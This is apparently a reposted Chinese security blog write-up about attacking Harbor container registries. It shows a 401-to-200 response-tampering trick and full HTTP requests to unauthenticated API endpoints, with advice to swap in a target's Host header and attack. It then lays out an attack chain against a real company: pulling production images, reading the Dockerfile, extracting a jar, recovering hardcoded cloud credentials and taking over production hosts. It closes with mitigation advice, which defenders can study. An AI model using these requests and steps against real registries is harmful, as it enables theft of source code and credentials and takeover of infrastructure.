一、前言
Harbor是一款开源的镜像托管平台,在现网中有着庞大的使用数量。看到最近曝光出CVE漏洞,也是翻箱倒柜,找出个陈年老"0day",分享下当年测试harbor的过程。
早在20年的某次测试中,在各种大厂与SRC的资产收集中就发现有该系统的身影。 运气也是蛮好,第一次测试即发现一条RCE路径,但这个问题一直静静的呆在我的电脑中,既没有提交也未对外提及,这次算一个契机。
二、测试报告 (20年)
将旧文搬过来,当时技术有限,可能内容有误或因为版本变迁导致的不准确,建议自行实践
测试过程
1. 部署测试环境
下载:https://codeload.github.com/bitnami/bitnami-docker-harbor-portal/zip/master
搭建:
cd bitnami-docker-harbor-portal-master2debian-10
docker-compose up
登录:
admin bitnami
2. 配置一个测试用的images
-
配置本地hosts文件指向
reg.mydomain.com
-
弄一个测试image
# 拉取hello-world镜像
docker pull hello-world
# 登录harbor
docker login http://reg.mydomain.com
# 打标签
docker tag hello-world reg.mydomain.com/test/hello-world:test-0.1
# 推送镜像
docker push reg.mydomain.com/test/hello-world:test-0.1
# 登出harbor
docker logout http://reg.mydomain.com
# 尝试拉取推送的镜像
docker pull reg.mydomain.com/test/hello-world@sha256:90659bf80b44ce6be8234e6ff90a1ac34acbeb826903b02cfa0da11c82cbc042 //失败-提示认证
3. 配置不当导致镜像任意下载
-
打开界面,映入眼帘的是要求登录,似乎没有可以利用的地方
-
在界面上找到一个搜索功能: 输入123,然后抓包,改为空值, 然后发包过去,即可在界面上获取全部的数据
-
接下选择想要查看的镜像和项目
-
此时会被告知 "UnAuthorize"(未授权), 这儿需要抓包改包
抓如下响应:
HTTP/1.1 401 Unauthorized
Server: nginx
Date: Tue, 04 Aug 2020 09:35:00 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 37
Connection: close
X-Content-Type-Options: nosniff
{"code":401,"message":"UnAuthorize"}改为:
HTTP/1.1 200 Unauthorized
Server: nginx
Date: Tue, 04 Aug 2020 09:35:00 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 37
Connection: close
X-Content-Type-Options: nosniff
{"code":200,"message":"UnAuthorize"} -
接下来会到达如下目录
-
直接拷贝镜像地址,即可下载镜像
EXP
以下操作均可未授权调用,找到目标直接改Host了打:
-
获取harbor信息
GET /api/systeminfo HTTP/1.1
Host: dockerhub.xxxxxxx.com
Connection: close
Accept: application/json
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36
Content-Type: application/json
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9 -
获取全部的images和projects (实战直接用这个)
GET /api/search?q= HTTP/1.1
Host: dockerhub.xxxxxxx.com
Connection: close
Accept: application/json
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36
Content-Type: application/json
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9 -
获取images的version
GET /api/repositories/{项目名}/{images名}/tags?detail=1 HTTP/1.1
Host: dockerhub.xxxxxxx.com
Connection: close
Accept: application/json
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36
Content-Type: application/json
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9 -
未授权操作images
docker pull xxx
docker push xxx
docker xxx xxx
三、渗透实战
-
窃取源码与商业机密
-
RCE,案例:
2.1 信息收集确认harbor资产
2.2 未授权下载到生产环境下的镜像
docker pull dockerhub.xxxxxx.com/xxxx/xxxx-service:2.4
2.3 获取Dockerfile(因为在构建镜像的命令中可能含有敏感数据)
docker history dockerhub.xxxxxx.com/xxxx/xxxx-service:2.4 --no-trunc
2.4 通过分析Dockerfile,发现拷贝了一个jar文件进去,将镜像运行起来
docker run --rm -it --entrypoint "/bin/bash" dockerhub.xxxxxx.com/xxxx/xxxx-service:2.4
2.5 将jar文件拷贝出来
docker cp 3f4105d156e2:/opt/xxxgw/xxxgw-service-2.4.jar .
2.6 使用byteviewer在config类下找到云服务的硬编码的账户密码
2.7 接管云服务,远程控制生产环境部署该镜像的设备
四、小结
-
这个问题出现,第一感觉是需要给这个问题分类,当时认为应该属于
安全配置不当
, 原因是harbor系统访问后,首先是一个登录面,很多人在测试的时候就放弃了,同时也给harbor的使用者一个错觉,看嘛,需要登录才能拿到镜像相关的信息,然而实际是harbor的部分接口可以未授权调用,而且对于未配置成机密的镜像给响应给攻击者,那么解决这个问题的关键是使用harbor的人需要意识到,每个上传的镜像需要设置机密属性,因此当时的认知就是认为配置不当 -
Harbor的可利用性很高,其一是广泛的使用,其二是对于harbor的安全配置普遍很少,其三是其存储了重要的数据- 源码,默认密钥等,会造成商业泄密与权限窃取的情况
-
无论如何,攻防双方都应该引起格外的注意,尤其是harbor的用户,应该立刻排查是否有敏感的镜像未配置为私有,并升级harbor到最新版
原文始发于微信公众号(Art Of Hunting):[AOH 018]Harbor to RCE